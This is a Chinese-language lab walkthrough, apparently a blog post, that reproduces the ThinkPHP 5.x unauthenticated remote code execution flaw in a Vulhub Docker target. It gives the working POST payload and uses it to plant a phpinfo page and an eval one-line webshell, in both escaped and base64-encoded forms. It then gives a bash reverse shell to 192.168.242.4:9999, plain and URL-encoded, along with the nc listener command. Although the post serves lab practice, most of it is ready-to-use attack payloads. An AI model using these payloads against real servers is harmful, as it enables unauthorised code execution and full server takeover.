★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、漏洞介绍
使用Thinkphp5.x远程代码执行漏洞,无需登录即可执行任意命令,获取服务器最高权限。漏洞影响范围:5.x < 5.1.31; 5.0.x <=5.0.23,该漏洞出现的原因在于Thinkphp5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到Thinkphp框架内部的敏感函数,进而导致getshell漏洞。
2、启动靶场环境
kali系统启动thinkphp5.0.23,使用以下命令:
# 先启动docker
service docker start
# 先切到对应目录
cd /home/kali/vulhub-master/thinkphp/5.0.23-rce
# 编译环境(可选)
docker-compose build
# 运行环境
docker-compose up -d
# 会看到关键字done,表示运行结束
# 查询当前目录下的服务是否启动
docker-compose ps
访问地址:http://your-ip:8080/
关于环境准备,请参阅《kali系统安装docker和部署vulhub服务》。
3、远程代码执行poc确认
使用firefox浏览器,安装插件:HackBar
访问地址:http://your-ip:8080/index.php
在后面拼接上?s=captcha,访问会提示页面错误,按F12打开调试,切换到HarBar,点LoadURL按钮把页面请求的url 加载到请求框,打钩Post data,输入以下POC
# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
执行点Execute按钮
验证过程,可在[REQUEST_METHOD]后修改命令,我的thinkphp是在部署在kali系统,相关命令是以linux系统的
4、一句话木马-phpinfo
在【第3、远程代码执行poc确认】步骤的基础上修改poc,写入shell,访问是否可解析
# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > info.php
提交后访问:http://192.168.242.4:8080/info.php
,发现解析成功了。
路径就是跟index.php同一级,名称写入时自定义的。
5、一句话木马-远程连接
在【4、一句话木马-phpinfo】步骤的基础上修改poc,写入shell,使用蚁剑连接访问是否成功。
注意在版本:5.0.23, 符号会被过滤掉,需要在 符号会被过滤掉,需要在 符号会被过滤掉,需要在前面加上\进行转义
参考博客【转义方式】:https://blog.csdn.net/ffff5/article/details/117004350
参考博客【Base64编码方式】:https://www.cnblogs.com/–kisaragi–/p/15315131.html
5.1、使用转义的方式
# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['123']);?>" > lksh.php
5.2、使用Base64编码形式
把一句话木马,放到在线网站:https://base64.us/
进行编码
# 编码前内容
<?php @eval($_POST['123']);?>
# Base64编码后
PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=
# server[REQUEST_METHOD]=后接的内容修改为
echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php
# 整句poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php
提交后,使用蚁剑连接访问:http://192.168.242.4:8080/lksh.php
,发现解析成功了。
路径就是跟index.php同一级,名称写入时自定义的。
6、反弹shell
6.1、在攻击机开启监听
自己测试用同一台kali搭建靶场和做攻击机,所以ip会一样,但端口肯定不一样。使用nc命令开启监听,用于反弹shell
# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999
# 提示以下信息表示监听成功
tening on [any] 9999 ...
6.2、poc编写
由于反弹shell原文poc在提交时,提交时没任何反应,需要进行进行特殊字符编码后再提交,编码网址:https://www.bejson.com/enc/urlencode/
# server[REQUEST_METHOD]=后反弹shell原文
/bin/bash -c "bash -i >& /dev/tcp/192.168.242.4/9999 0>&1"
把上面的原文复制到在线网址进行编码,得到以下内容,然后再进行拼接全文poc
# 反弹shell原文的特殊符号编码后的内容
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22
从上面得到编码后的poc进行拼接全文poc
# 拼接全文poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22
6.3、poc执行
同样使用HackBar执行提交
6.4、反弹shell成功
发现kali系统的开启nc监听的地方有变化,而且可以执行查询命令,反弹shell成功
7、下期内容预告
下期会分享Struts2远程代码执行漏洞复现,敬请关注我的公众号:大象只为你,持续更新中…